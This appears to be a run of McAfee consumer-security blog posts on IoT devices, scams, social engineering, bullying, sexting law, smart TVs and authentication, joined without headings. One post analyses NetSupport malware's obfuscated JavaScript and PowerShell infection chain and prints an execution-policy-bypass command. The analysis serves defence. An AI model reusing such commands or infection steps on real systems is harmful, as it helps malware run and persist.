The central issue lies in the connectivity of these smart coffee makers. Just like your computer or smartphone, any device that connects to the internet can potentially be hacked. This may result in theft of personal information, disruption of your network, or even malicious use of the device itself. And while a hacked coffee maker might not seem like a big deal, it could be used as a gateway to access other, more sensitive devices on your network.
Many people may not even realize that their smart coffee maker poses a security risk. After all, it doesn’t store personal data like a phone or computer does. However, once it’s connected to your network, it becomes a potential entry point for hackers. And because it’s a relatively new type of device, it might not have the same level of security measures that more well-established smart devices have.
Another serious concern with smart coffee makers and similar devices is privacy. Some smart appliances have microphones, cameras, or other sensors that can monitor your habits and collect data. This data can potentially be sold to advertisers or used for other less-than-ethical purposes.
→ Dig Deeper: What Personal Data Do Companies Track?
Even if your smart coffee maker doesn’t have these features, it still collects data about your coffee habits, such as when you usually make coffee and how much you make. This information, while not as sensitive as personal or financial data, could still be valuable to advertisers and other third parties.
While it might seem far-fetched, hackers can cause a lot of trouble with a compromised coffee maker. One obvious issue is simple annoyance or disruption. A hacker could, for example, repeatedly start the brew cycle at odd hours, wasting coffee and creating a mess. But the potential problems go beyond simple pranks.
A more serious concern is that a hacker could use the coffee maker as a stepping stone to infiltrate the rest of your network. This could potentially give them access to sensitive data stored on other devices, such as personal documents on your computer or personal information stored on your phone. In some cases, they could even take control of other smart devices connected to your network.
The good news is that there are steps you can take to secure your smart coffee maker and other connected devices:
→ McAfee Pro Tip: Be cautious when downloading apps, especially third-party ones. Certain applications might contain malware or viruses that pose a threat to your device’s security.
While consumers have a responsibility to use their devices securely, manufacturers also have a role to play in improving the security of smart appliances. They can, for instance, design devices with security in mind from the outset. This could involve using secure coding practices and running through security tests before releasing a product. Manufacturers can also provide timely updates and clear instructions on how to apply them.
Manufacturers should also be transparent about what data their devices collect and how it’s used. If a device collects data, the manufacturer should provide clear information about this in the product’s privacy policy. They should also give users the ability to opt out of data collection if they choose.

Smart coffee makers, like all connected devices, come with potential security and privacy risks. However, the convenience and efficiencies they offer can make them an attractive addition to your home. With a combination of diligent security practices on the part of the user and responsible design and transparency from manufacturers, these risks can be managed.
Despite the potential issues, this doesn’t mean you should be afraid to use a smart coffee maker or other smart devices. Instead, be aware of the risks and take proactive steps to protect yourself and your data. Whether it’s changing the default password, regularly updating the firmware, or researching before buying, these simple steps can go a long way toward safeguarding your smart home. After all, a warm cup of coffee in the morning should be a comfort, not a cause for concern.

In the realm of cybersecurity, there is one vulnerability that is often overlooked – the human element. While firewalls, encryption, and other security measures can protect our data to a certain extent, the most sophisticated systems can still be breached by clever manipulations of human psychology. This is where the concept of Social Engineering comes in. Through this article, we aim to provide an overview of social engineering, why it is important, and how it is employed.
Social Engineering, in a cybersecurity context, refers to the techniques used by cybercriminals to manipulate individuals into divulging confidential information that can be used for fraudulent purposes. It is essentially an act of tricking people so that they give away their personal information such as passwords, bank account numbers, social security numbers, or other valuable data. This is often achieved not through technical means, but through human interactions.
Because most people are not aware that they are being targeted until it’s too late, social engineering is considered one of the biggest threats to cybersecurity. The success of a social engineering attack relies heavily on the ability to make the target believe that the attacker is someone they can trust or someone who has a legitimate reason for needing the information being sought. It exploits the natural tendency of a person to trust others and to want to help others, especially those who appear to be in a position of authority or in distress.
There are various types of social engineering attacks, each of which uses different tactics to trick victims. From sophisticated email scams to personalized impersonation, the variety of approaches underscores the need for a comprehensive understanding of these deceptive tactics to fortify defenses against the ever-evolving landscape of cyber threats. Let’s take a look at some of the most common types of social engineering attacks today:

Impersonation:
→ Dig Deeper: Fighting Mobile Phone Impersonation and Surveillance
Watering Hole Attacks:
Understanding the intricacies of these social engineering tactics is crucial for individuals and organizations alike, empowering them to recognize and thwart these manipulative strategies in an ever-evolving digital landscape.
At its core, social engineering is about exploiting the human element of security. It takes advantage of our ingrained behaviors and tendencies to trust and to want to be helpful. For instance, most people will not suspect a friendly phone call or an email from a co-worker to be a potential threat. As such, cybercriminals use these characteristics to their advantage in executing their attacks.
Psychology plays a crucial role in successful social engineering attacks. By understanding and manipulating human emotions such as fear, curiosity, greed, and the desire to help others, cybercriminals can more effectively trick their victims into falling for their scams. For example, they may send an email posing as the victim’s bank, warning of suspicious account activity and prompting them to verify their account credentials. In fear of losing their hard-earned savings, the victim is likely to comply, thus giving the attacker what they want.
→ Dig Deeper: Social Engineering—The Scammer’s Secret Weapon
In dealing with social engineering, awareness is the first line of defense. Individuals and businesses should ensure that they are familiar with the various types of social engineering attacks and how they operate. They should learn to recognize the common signs of these attacks, such as emails containing spelling and grammatical errors, or emails requesting urgent action or confidential information.
Strong, unique passwords and multi-factor authentication can also serve as deterrents to social engineering attacks. It’s crucial to regularly update and secure your systems, use encryption for sensitive data, and always verify the identity of individuals before divulging any personal or sensitive information. Additionally, organizations should hold regular training sessions to teach employees about social engineering tactics and how to respond to potential threats. It’s better to be safe than sorry – when in doubt, don’t give it out.
→ Dig Deeper: Protect Your Digital Life: Why Strong Passwords Matter
The consequences of falling victim to a social engineering attack can be devastating. Personal consequences may include financial loss, identity theft, and damage to personal reputation. Businesses that fall victim to such attacks can suffer damage to their brand reputation, financial loss from theft or fines due to non-compliance with data protection laws, and loss of customer trust.
Moreover, the information obtained through social engineering attacks can be used for further attacks, making the problem even more severe. For instance, a cybercriminal who has obtained someone’s email password can use it to send out phishing emails to the victim’s contacts, thus spreading the attack even further. The ripple effect of social engineering can therefore, lead to widespread damage, affecting not just individuals, but also the organizations they are a part of.
McAfee Pro Tip: Modern social engineering campaigns bear a striking resemblance to authentic communications from reputable organizations. Meticulously crafted, these campaigns may have grammatical correctness and seamlessly blend into plausible scenarios. Despite their polished appearance, their underlying objective remains consistent – the acquisition of sensitive information. Protect your personal data and identity with McAfee+ to avoid the consequences of social engineering.
It is clear that social engineering poses a significant risk to cybersecurity. This form of manipulation exploits the human vulnerability to trust and help others, leading to the disclosure of confidential information that can be used for fraudulent purposes. Despite advances in technology and security protections, this threat remains prevalent due to the human factor.
Individuals and organizations must stay educated and vigilant against these attacks. Only through awareness and adequate protective measures can the risk of social engineering be mitigated. By understanding the psychology of these attacks, recognizing the common signs, and employing prevention techniques, one can create a strong first line of defense against social engineering. In the realm of cybersecurity, every person should remember that they could potentially be the weakest link, but with adequate precautions, they can also be the strongest asset.

As with any major holiday or special occasion, Valentine’s Day is unfortunately not immune to scammers looking for an opportunity to exploit unsuspecting individuals. Their deceitful acts can break hearts and bank accounts. In this article, we spotlight some common Valentine’s Day scams, offer tips on how to protect yourself and navigate this romantic day with confidence and caution.
Valentine’s Day is a time when love is in the air. It’s a time to express your feelings for that special someone in your life, or perhaps even embark on a new romantic journey. But while you’re busy planning that perfect dinner or choosing the ideal gift, there’s an unromantic side to the day that you should be aware of – the potential for scams.
Scammers, always looking for new ways to trick people into parting with their money, use the heightened emotions of Valentine’s Day to their advantage. They prey on the unwary, the love-struck, and even the lonely – anyone who might let their guard down in the quest for love or the pursuit of the perfect gift. And in our increasingly digital world, these unscrupulous individuals have more ways than ever to reach potential victims.

Knowledge is power, as the saying goes, and that’s certainly true when it comes to protecting yourself from scams. By understanding the types of scams that are common around Valentine’s Day, you can be better prepared to spot them – and avoid falling victim.
One of the most common Valentine’s Day scams is the romance scam. Scammers, often posing as potential love interests on dating websites or social media, manipulate victims into believing they are in a romantic relationship. Once they have gained their victim’s trust, they ask for money – perhaps to pay for a flight so they can meet in person, or because of a sudden personal crisis. These scams can be emotionally devastating, and they can also result in significant financial loss.

Another popular scam around Valentine’s Day involves online shopping. With many people seeking the perfect gift for their loved ones, scammers set up fake websites that appear to sell everything from jewelry to concert tickets. After making a purchase, the unsuspecting victim either receives a counterfeit product or, in some cases, nothing at all. Additionally, these sites may be designed to steal credit card information or other personal data.
Phishing scams are also common. In these scams, victims receive emails that appear to be from a legitimate company – perhaps a florist or a candy company – asking them to confirm their account information or to click on a link. The goal is to steal sensitive information, such as credit card numbers or login credentials.
While the existence of these scams is unquestionably concerning, the good news is that there are steps you can take to protect yourself. Valentine’s Day should be a celebration of love, not a source of stress and worry.
One of the most important is to be aware that these scams exist and to be cautious when interacting with unfamiliar people or websites. If something seems too good to be true, it probably is.
When shopping online, make sure the website you are using is secure, and consider using a credit card, which offers greater protection against fraud compared to other forms of payment. Be wary of emails from unknown sources, especially those that ask for personal information or urge you to click on a link.
For shopping scams, it’s recommended to do research on any unfamiliar online retailer before making a purchase. Look for reviews or complaints about the retailer on independent consumer websites. If the website is offering items at a price that seems too good to be true, it likely is. Also, consider the website’s URL. A URL that begins with ‘https://’ indicates that the website encrypts user information, making it safer to input sensitive information than on websites with ‘http://’ URLs.
Forewarned is forearmed, and having advanced strategies to detect and avoid scams is also a strong line of defense. When it comes to online dating, be sure to thoroughly vet any potential romantic interests. This involves doing a reverse image search of profile photos, which can quickly reveal if a picture has been stolen from another online source. Additionally, be aware of red flags such as overly-flattering messages or requests to move the conversation to a private email or messaging app.
McAfee Pro Tip: If you’re considering using one of these for a bit of dating beyond a dating app or simply to stay connected with family and friends, the key advice is to do your homework. Look into their security measures and privacy policies, especially because some have faced security issues recently.

If you come across a scam or fall victim to one, it’s crucial to report it to the appropriate authorities. This helps law enforcement track down scammers and alert others to the scam. In the U.S., you can report scams to the Federal Trade Commission through their website. If the scam involves a financial transaction, also report it to your bank or credit card company. They may be able to help recover your funds or prevent further losses.
Additionally, take steps to protect yourself after falling victim to a scam. This could involve changing passwords, monitoring your financial accounts for unusual activity, or even freezing your credit. It can also be beneficial to alert your friends and family to the scam, both to protect them and to gain their support and assistance in dealing with the aftermath of the scam.

Bullying is a pervasive problem in our society, occurring in schools, workplaces, online, and even within families. It can cause immense physical and emotional pain, leading to decreased self-esteem, increased anxiety, and even suicide in extreme cases. Given its severe potential consequences, it’s critical for every one of us to take steps to end the hate and stomp out bullying.
This article explores 10 ways in which you can stand up against bullying, ranging from individual actions to community-based initiatives. Remember, each effort counts. Together, we can create a world where respect, kindness, and acceptance rule over hate and intimidation.
Before we delve into the various ways to combat bullying, it’s important to first understand what it is. The World Health Organization defines bullying as “repeated exposure to negative actions from one or more individuals.” These actions may involve physical aggression, verbal abuse, intentional exclusion, public humiliation, or harmful manipulation.
Understanding the nature and effects of bullying is the first step in combating it. Recognizing the signs of bullying is essential in identifying victims or perpetrators. Those who are bullied often exhibit signs such as unexplained injuries, poor performance or attendance at school or work, changes in eating habits, or sudden loss of friends. On the other hand, those who bully often exhibit increased aggression, difficulty accepting responsibility for their actions, and a constant need to dominate or control others.
Education is a powerful tool in the fight against bullying. By educating yourself about different forms of bullying, its impact, and why it happens, you can better understand the reasons behind these harmful behaviors and approaches to address them. Learn about not just physical and verbal bullying, but also cyberbullying, sexual bullying, prejudicial bullying, and relational aggression.
There are plenty of resources available that can help increase your understanding of bullying. Anti-bullying organizations offer detailed information on different types of bullying, how to identify them, and ways to prevent them. Books and documentaries can also provide personal narratives and insights into the effects of bullying, giving you a deeper understanding of its impact on individuals.
After educating yourself about bullying, the next step is to raise awareness. By spreading the word about bullying and its harmful effects, you can bring this issue to the forefront of more people’s minds. This can be achieved through discussions, presentations, social media campaigns, or organizing events focused on bullying prevention.
Bullying often thrives on silence and ignorance. By bringing the issue to light, you empower victims, bystanders, and even bullies to change their behaviors and attitudes. Remember, change starts with awareness. The more people know about the issue, the more they can do to help combat it.

Empathy is a powerful weapon against bullying. By empathizing with the victim, you are not only providing emotional support but also validating their feelings and experiences. It can help them feel less isolated and more confident to stand up against the bully.
Showing empathy also extends to those who bully. It’s essential to understand that bullies often act out due to their own difficulties. Demonstrating empathy doesn’t mean condoning their actions, but rather understanding their problems and helping them seek the needed support. It also means helping them realize the harm they’re causing and encouraging them to change their patterns of behavior.

Good behavior is often emulated. Thus, being a good role model can have a significant effect on how others treat people around them. Show respect, kindness, and understanding in your everyday interactions, and stand up against any form of intimidation or humiliation you witness.
If you’re in a position of authority (like a parent, teacher, or manager), your role modeling has an even greater impact. Show how conflicts can be resolved calmly and respectfully, and do not tolerate any form of bullying. This not only creates a positive environment but also teaches others about the importance of respectful interactions.

Encouraging open and honest communication can empower victims and bystanders to speak up against bullying. Many times, children and even adults are afraid to express their feelings or fear being dismissed or ridiculed. By promoting a safe and open communication environment, you can help them voice their concerns and experiences without fear of judgment or backlash.
Remember, communication goes both ways. While it’s important to encourage victims and bystanders to speak up, it’s equally crucial for parents, teachers, and friends to listen actively and offer support, guidance, and intervention if necessary.
Don’t be a silent bystander. If you witness bullying, stand up and speak out against it. Bystander intervention can make a significant difference, as it can deter the bully and comfort the victim. It can also encourage other bystanders to take action. But always ensure your own safety before intervening. If you fear a violent reaction, you should report the incident to a trusted adult or authority figure instead.
Speaking out against bullying also means challenging discrimination and prejudice whenever you encounter them. Whether it’s racism, sexism, homophobia, or any other form of bias, these attitudes often underpin bullying behavior. By challenging them, you’re helping to create a more inclusive and respectful society.

If you know someone who is a victim of bullying, reach out to them. Let them know that they’re not alone and that you’re there to support them. Encourage them to report the bullying, and offer to accompany them if they’re anxious about doing so. You can also help by listening to their experiences, validating their feelings, and providing advice or resources for coping with bullying.
Remember, bullying can have a deep psychological impact on its victims. They may be struggling with issues like anxiety, depression, or low self-esteem. So, your support can make a real difference to their mental well-being. If you’re worried about a victim’s mental health, urge them to seek help from a mental health professional.
If you witness or experience bullying, report it to a trusted adult or authority figure. This could be a teacher, school principal, HR manager, or police officer, depending on the context. Many victims of bullying fear retaliation and so, don’t report their experiences. However, reporting can initiate the process of addressing the issue and holding the bully accountable.
When reporting bullying, it’s important to be specific about what happened. Include details like who was involved, when and where it occurred, what was said or done, and whether there were any witnesses. If the bullying is happening online, take screenshots as evidence. Remember, your report can help protect not only you but also other potential victims.
There are many organizations and programs dedicated to preventing bullying and supporting victims. You can support these initiatives in various ways, such as by donating money or time, participating in their events, or spreading the word about their work. By doing so, you can contribute to their efforts to create a bully-free world.
These anti-bullying organizations and programs often provide resources for education, prevention, and intervention, as well as support services for victims. Their work is crucial in raising awareness about bullying, teaching people how to stand up against it, and giving victims the help they need to recover.
Here are some notable anti-bullying organizations and programs:
If you’re a victim of bullying, it’s essential to practice self-care. Bullying can take a toll on your mental and physical health, but taking care of yourself can help you cope with its effects. This could involve activities like exercising, meditating, journaling, or spending time with loved ones. It could also involve seeking help from a mental health professional.
Self-care is equally important for those supporting victims. Standing up against bullying is a daunting task, and it can leave you feeling stressed or overwhelmed. So, make sure to take care of your own well-being too. Remember, you can’t pour from an empty cup.
Bullying is a grave issue that affects countless individuals worldwide. Its impacts can be devastating, leading to physical, emotional, and psychological harm. However, each one of us can play a crucial role in combating bullying. By educating ourselves, raising awareness, demonstrating empathy, being good role models, encouraging communication, standing up against bullying, reaching out to victims, reporting incidents, supporting anti-bullying initiatives, and practicing self-care, we can contribute to creating a world free from bullying. Remember, every effort counts. Together, with McAfee, we can end the hate and stomp out bullying.

In today’s digital age, advanced technology and increased smartphone usage have led to new forms of communication, including sexting. While sexting may seem harmless or even fun to some individuals, it is essential to understand its legal implications, particularly when it involves minors. This article will shine a light on the legal consequences of sexting, with an aim to educate readers about this increasingly common issue.
Sexting, a term combining ‘sex’ and ‘texting,’ refers to the act of transmitting sexually explicit content, including photos, videos, or texts, via digital platforms. Although it is largely associated with teenagers, it occurs amongst adults as well. While consensual sexting between adults in most jurisdictions is legal, the scenario drastically changes when it involves minors.
The legal consequences of sexting can be severe. In many jurisdictions, this activity can come under laws related to child pornography, obscenity, or harassment, to name a few. This article aims to provide a comprehensive understanding of the legal implications related to sexting. Please note that laws may vary based on your location, and this information might not entirely cover the legal aspects of sexting in your specific area.
The exchange of intimate and explicit content, often in the form of text messages, images, or videos, has introduced a myriad of legal considerations. With that, let’s delve into the legal implications of sexting and explore the potential consequences for individuals involved and the challenges posed to legal frameworks. From issues of consent and privacy to the evolving landscape of sexting-related laws, understanding the legal dimensions of this behavior is crucial in navigating the complexities of intimate communication in the digital era.
Most countries’ child pornography laws were enacted before the digital age, so they weren’t originally designed to address sexting. However, in many jurisdictions, these laws have been applied to sexting cases involving minors, resulting in severe consequences. Depending on the jurisdiction, penalties can range from registration as a sex offender to imprisonment.
When sexting involves minors, it is considered illegal, even if the image was self-produced and consensually shared. This is because minors are not legally capable of giving consent. Therefore, an explicit image of a minor is considered child pornography, regardless of who produced or shared it. In many cases, both the sender and the recipient of the explicit content can be charged under child pornography laws.
In addition to child pornography laws, sexting can also be punished under obscenity laws in some jurisdictions. Obscenity laws prohibit the distribution of materials that appeal to the prurient interest, depict sexual conduct in an offensive way, or lack serious artistic, political, or scientific value. These laws are often applied to sexting cases involving adults.
While the definitions of ‘obscene,’ ‘prurient interest,’ and ‘sexual conduct’ may vary from jurisdiction to jurisdiction, generally, explicit sexual content shared without the recipient’s consent can be considered obscene. This means that even if the content was initially shared consensually, further distributing it without the consent of the other party could lead to obscenity charges.
Sexting can also come under the umbrella of harassment or cyberstalking laws. If a person continues to send explicit messages or images after being asked to stop, it could be considered harassment. These laws were enacted to protect individuals from unwanted or offensive communications. Depending on the jurisdiction, harassment laws may also apply if the explicit content is shared with the intent to intimidate, threaten, or embarrass the recipient.
In some cases, sexting becomes a form of revenge porn, which involves sharing explicit content without the consent of the person in the image, often after a relationship has ended. Many jurisdictions have introduced laws to specifically address revenge porn due to its increasing prevalence.
For minors involved in sexting, the legal consequences can be life-altering. In many jurisdictions, minors can be charged with the creation, distribution, or possession of child pornography, even if the explicit content they created, sent, or received was of themselves. These charges can lead to serious penalties, including possible imprisonment and registration as a sex offender.
While some argue that applying child pornography laws to teenage sexting is excessive, it’s important to note that these laws were established to protect children from sexual exploitation. However, many states and countries are reconsidering how these laws apply to consensual sexting between teenagers, with some introducing new laws specifically tailored to address adolescent sexting.
→ Dig Deeper:Could Your Child be Sexting? Signs to Look for and Ways to Respond
It’s important to understand that the laws and penalties related to sexting may vary considerably depending on the jurisdiction. For instance, the United States federal law addresses child pornography as a serious crime, but individual states have different laws regarding sexting between minors. Some states treat sexting between minors as a misdemeanor, while others have introduced ‘sexting-specific’ laws that carry less severe penalties than child pornography laws.
In contrast, legal approaches to sexting in other countries like Australia and Canada involve drawing a distinction between consensual and non-consensual activities. In the United Kingdom, the law is somewhat complex. Although it’s legal for adults to sext, sending or possessing ‘indecent images’ of anyone under 18, even if it’s a selfie, is a criminal act. Meanwhile, in countries like Sweden and Denmark, the focus is on consent, meaning it’s legal for two teenagers to exchange explicit images, provided both parties agree willingly.
Individuals, particularly minors, often underestimate the long-term legal repercussions of sexting. Once charged with a sexual offense, the person might be required to register as a sex offender. This designation can impact various aspects of life, including employment, education, and housing opportunities. More so, the public nature of the sex offender registry means that personal information will be made available to the public, significantly affecting one’s personal and social life.
Further, the digital nature of sexting is such that once an explicit image or message is sent, it’s almost impossible to completely erase it from the internet. This could lead to ongoing issues like cyberbullying, social stigma, and mental health struggles. Moreover, the distribution of explicit content without consent can lead to civil lawsuits for damages.
The best way to avoid the legal consequences of sexting is simply to refrain from the activity. This is particularly crucial for minors. Parents and educators should discuss the legal, social, and emotional implications of sexting with teenagers to help them understand the potential consequences. It is also important to talk about digital citizenship and respect for others’ privacy.
For adults, it’s crucial to ensure there’s mutual consent before sharing explicit content. Sharing explicit images or videos without the consent of the person involved could result in legal action. In circumstances where explicit content is received, it should not be forwarded or shared without explicit permission from the person pictured. Doing so could lead to charges under revenge porn laws, among others.
In navigating the complex legal landscape surrounding sexting, fostering a culture of informed and responsible behavior is key. This involves continuous dialogue, not only about the potential legal consequences but also about building a foundation of trust, respect, and digital mindfulness in both personal and professional spheres. As technology continues to evolve, so too must our understanding of the legal dimensions surrounding intimate communication in the digital age.
McAfee Pro Tip: Explore McAfee Parental Controls to actively manage and monitor your child’s digital footprint. This powerful tool allows you to set boundaries, block inappropriate content, and receive alerts on potentially risky behaviors, including sexting-related activities.
Sexting, especially involving minors, can lead to severe legal consequences. These can range from charges under child pornography laws, obscenity laws, or harassment laws, and can lead to penalties such as imprisonment or being registered as a sex offender. More than ever, with the digital age bringing new modes of communication, it is vital to understand the legal implications of our online behaviors.
While sexting between consenting adults isn’t necessarily illegal, it’s crucial to remember that once an image or video is sent digitally, it can’t truly be taken back. Therefore, it’s essential to make informed decisions about what we choose to share online. Prevention and education are crucial when it comes to avoiding legal issues related to sexting. By fostering open conversations about the risks and implications associated with sexting, we can better equip ourselves and the younger generation to make safer choices in the digital world.
Keep yourself updated on the latest threats that may pose a potential risk to your family, especially your kids. Sexting stands out as merely one instance among a range of risks. Delve into reports from McAfee and other reputable sources to deepen your understanding and bolster your knowledge.

NetSupport malware variants have been a persistent threat, demonstrating adaptability and evolving infection techniques. In this technical analysis, we delve into the infection chain, technical intricacies, and IOCs (Indicators of Compromise) of distinct NetSupport variants.
The following is a heatmap depicting the current prevalence of NetSupport in the field. This malware is spreading across the United States and Canada, signifying its geographical reach.
Figure 1 : NetSupport Heat Map
McAfee Labs recently identified a new variation of NetSupport malware, which was distributed through JavaScript, highlighting the evolving tactics employed by cybercriminals.
Infection Chain
Figure 2 : Infection Chain
This Variant starts with a very long JS file. It follows an intricate infection chain, utilizing PowerShell commands. Key steps include changing the directory to the user’s AppData, setting variables, downloading files, and eventually executing ‘client32.exe’. This executable establishes control over the compromised system and registers for auto-startup through Windows Registry, following which the ‘client32.exe’ binary is placed in the ‘MsEdgeSandbox’ folder under AppData, providing persistence.
The JS code looks like as shown in the picture below. Attackers leverage obfuscated JavaScript files as the starting point of an infection chain. These files are designed to bypass security mechanisms and initiate the delivery of malicious payloads.
Figure 3: Encoded Java Script File
It contains a long list of string literals, each consisting of random characters and sequences of letters. These strings are typically used for various purposes in the code, such as constructing URLs, setting values for variables, or possibly for other purposes. The code defines several variables (hy, hY, hE, hi) and a function named ‘y’.
Figure 4 : Encoded Java Script File
Figure 5 : Encoded Java Script File
Figure 6 : Encoded Java Script File
The script shown in the AMSI buffer dumps in Figure 7, begins by changing the directory to the user’s AppData folder. It then sets up variables and proceeds to download and execute files. If certain commands are unavailable, it uses ‘bitsadmin’ for file downloads. The script ensures persistence by altering directory attributes, launching ‘client32.exe,’ and adding a Windows registry entry for automatic execution.

Figure 8 : Code block
Figure 9 : Code block
Figure 10 : Code block
Figure 11 : Code block
Variant 2 of this malware shares a similar infection chain as Variant 1. Like Variant 1, it starts with obfuscated but different JavaScript files and subsequently invokes PowerShell. However, what sets Variant 2 apart is its distinct approach to manipulating files and content. It downloads a text file from a website, decodes base64-encoded data, and creates a ZIP file with potentially malicious content. Variant 2 differs significantly when it comes to file manipulation. Instead of placing the ‘client32.exe’ in the ‘MsEdgeSandbox’ folder like Variant 1, it follows an alternative path. In this case, it establishes the ‘client32.exe’ in a folder labeled ‘D’ under AppData. This distinct approach to file placement sets it apart from Variant 1, despite the shared initial infection chain.
The JS file as shown in Figure 12, includes two variables, ‘F4f’ and ‘EQGMUD.’ ‘F4f’ is set to a specific value, 140743580. ‘EQGMUD’ is a bit more complex; it’s a string formed by converting numerical values into characters. These values are derived by subtracting ‘F4f’ (140743580) from them. Finally, the ‘eval’ function is used to run the code stored in ‘EQGMUD’ as JavaScript, essentially executing this string as a script.
Figure 12 : Encoded Java Script File
The AMSI buffer dumps as shown in Figure 13, contains PowerShell commands that perform several actions, including downloading a file from the internet, extracting it, and making changes to the windows registry.
Figure 13 : AMSI Dump
Figure 14 : Directory Created
Figure 15 : Process Tree
Once the JavaScript file is executed, it launches wscript.exe and then launches PowerShell with the following command.
powershell.exe -ExecutionPolicy Bypass -V
Figure 16 : PowerShell Command
This way, PowerShell with the execution policy set to “Bypass”, which means that PowerShell will not enforce any execution restrictions. This allows scripts to run without any policy-related restrictions.
This malware is known for its persistence and attempts to hide within the user’s profile directories, which makes it challenging to remove.
It creates a “MsEdgeSandbox” folder in AppData in the first variant and downloads the following files in that folder.

The post Beneath the Surface: How Hackers Turn NetSupport Against Users appeared first on McAfee Blog.
While the majority of us look forward to Black Friday and Cyber Monday for the best deals, there’s another group that’s also eagerly anticipating these dates – cybercriminals. As the number of online shoppers increases, so do the opportunities for cybercriminals to steal personal and financial information. In this article, we will take a closer look at how these cybercriminals operate, and how you can protect yourself from becoming a victim.
With the advent of technology, more and more consumers are shifting towards online shopping. The COVID-19 pandemic has also forced a lot of people to favor this method of purchasing due to health and safety concerns. However, this shift has also opened up a new avenue for cybercriminals who are now focusing their efforts on gathering personal information from these online transactions. In this part of the article, we delve into how these criminals take advantage of Black Friday online sales to access and steal personal data.
The first step in understanding how to protect ourselves is to understand how cybercriminals operate. Black Friday and Cyber Monday provide the perfect opportunity for these criminals as the surge in online traffic can make their malicious activities less noticeable. They exploit the sense of urgency and excitement around these sales, using various tactics to deceive shoppers and gain access to their personal information.
One of the most common methods used by cybercriminals is phishing. It is a form of fraud where cybercriminals impersonate a legitimate organization in an attempt to steal sensitive data. During the Black Friday sale period, these criminals will send out emails or texts that appear to be from renowned retailers offering fantastic deals. However, these emails and texts are embedded with malicious links that when clicked, lead the shopper to a fake website designed to steal their personal and financial information. The shopper, lured by the enticing deal, unsuspectingly enters their details, giving the cybercriminals exactly what they want.
Another common tactic used by cybercriminals is the use of malware and ransomware. Malware is a type of software that is designed to cause damage to a computer, server, or computer network, while Ransomware is a type of malware that threatens to publish the victim’s data or perpetually block access to it unless a ransom is paid. During Black Friday, cybercriminals increase the distribution of such malicious software. Unsuspecting shoppers may download these onto their devices when they click on links or open attachments in emails offering Black Friday deals.
Once the malware or ransomware is downloaded onto the device, the cybercriminals can steal personal information, lock the device, or even use it to conduct other illegal activities. This type of attack is particularly dangerous as it not only compromises personal and financial information, but can also leave the victim with a non-functional device, adding insult to injury. The aftermath of such an attack could be extensive and costly, especially if valuable data is lost or if the ransom is paid to regain access to the device.

Card skimming involves the illegal copying of information from the magnetic stripe of a credit or debit card. It is a serious problem in the brick-and-mortar retail sector, however, a new form of this crime has emerged and is becoming a major threat to online shoppers – E-skimming. E-skimming is a method used by cybercriminals to steal credit card information from online shoppers in real-time.
During the Black Friday period, the criminals may compromise a retailer’s website, typically by injecting malicious code into the site’s checkout process. When the shopper enters their credit card information, the criminals capture it. The information is then either used directly to make fraudulent purchases or sold on the dark web. This method is particularly challenging for retailers to combat as it can be difficult to detect, the e-skimming code may lay dormant until the checkout process is initiated, making it even harder to identify.
Now that we understand the methods used by cybercriminals, let’s explore how to protect our personal and financial information during this high-risk period. Cybersecurity should be everyone’s top priority and there are several measures you can take to ensure you don’t fall victim to these cyber-attacks.
Firstly, be skeptical of emails, texts, or advertisements offering too-good-to-be-true deals. Always double-check the source before clicking any links. It’s safer to directly navigate to the retailer’s website via your browser rather than clicking the link in an email or ad. If you receive an email from a retailer, cross-verify it by visiting their official website or contacting them directly. Avoid clicking on links from unknown or suspicious sources.

Secondly, ensure your devices are equipped with up-to-date antivirus and anti-malware software. These tools can detect and block malicious activities, providing a layer of security. Regularly update your software and operating system to patch any vulnerabilities that cybercriminals might exploit. When shopping online, make sure the website’s URL begins with ‘https’, indicating it is secure and encrypted. Furthermore, regularly monitor your bank and credit card statements for any unauthorized transactions.

In a chilling echo of George Orwell’s dystopian novel 1984, it’s possible that Big Brother – or in this case, Big Hacker – might be surveilling you through your own television. Evidence is emerging that Smart TVs can be just as prone to hacking as home computers.
Security analysts Aaron Grattafiori and Josh Yavor from iSEC Partners have spent several months investigating this issue, working alongside Smart TV manufacturers to address potential vulnerabilities. They presented their findings at the recent Black Hat network security conference in Las Vegas. Their demonstration highlighted the worrying tendency of Smart TVs to pry into personal data, whether via web searches, app usage, or even physical surveillance through the built-in camera.
Despite their advanced technology, Smart TVs carry the same risks as their more primitive forebears. The primary culprit is the IP address, which allows these devices to connect with various web apps like Facebook, YouTube, and Skype. The issue is that these apps often run on the same code (such as Javascript or HTML5) as home computers or smartphones, making them susceptible to malware attacks when left unprotected.
While they might look like ordinary TVs, many Smart TVs bear a closer resemblance to laptops, incorporating internet-connected apps, video streaming services, microphones, and even internal cameras. Sure, these features enhance the viewing experience, but they can also present a clear and present danger to your privacy.
Malicious code can easily find its way into your TV through seemingly harmless chat messages or browser searches. Once it’s there, your television is open to several types of spyware. With the right code, a hacker could gain full control over your device, accessing your TV’s cameras and microphones. In essence, they could use your camera to spy on you, turning your own TV into a surveillance device.
Although manufacturers have issued fixes to reinforce the exposed code, no device is 100% secure. The scenario of hackers gaining control over a TV’s cameras and microphones is not just an invasion of privacy but can also lead to potential misuse of personal information. It’s a stark reminder of the importance of protecting our digital presence and understanding the broader implications of IoT devices in our homes. As technology continues to advance, so too must our vigilance in guarding against these emerging threats.
Regular updates are crucial to maintaining the security of your TV and its apps. The digital world is full of bugs waiting for a chance to invade your device, so don’t let outdated apps provide them the perfect entry point. Ensure your apps are updated regularly to maintain your digital fortress.

In recent times, the humble password’s efficacy as a security measure has come under scrutiny. With tendencies to be easily guessed, stolen, or bypassed, passwords have been deemed inadequate for securing sensitive information. Thankfully, more secure alternatives have emerged, with terms such as “two-factor” and “multi-factor” authentication gaining traction.
However, these terms may seem abstract to those unfamiliar with them, potentially leading to confusion about their functions and differences. This article aims to break down these forms of authentication, explaining how they work and how they can enhance online information security.
Before diving into the intricacies of multi-factor and two-factor authentication, it is pertinent to understand their predecessor: single-factor authentication. The simplest form of authentication, single-factor authentication, requires only one factor to verify a user’s identity. Typically, this involves matching a password with a corresponding username, a method used universally for online account logins.
While convenient in its simplicity, single-factor authentication carries glaring security flaws. Easy-to-guess passwords or stolen credentials can lead to unauthorized access, compromising the security of user accounts and confidential information. Hence, it became necessary to introduce additional layers of security to the authentication process, giving rise to two-factor and multi-factor authentication.
→ Dig Deeper: The Optus Data Breach – Steps You Can Take to Protect Yourself
Two-factor authentication augments the simplicity of single-factor authentication with an extra layer of security. Besides providing a password, users are also required to verify their identity with an additional factor that only they possess. This additional factor often takes the form of a unique code sent to the user’s mobile phone.
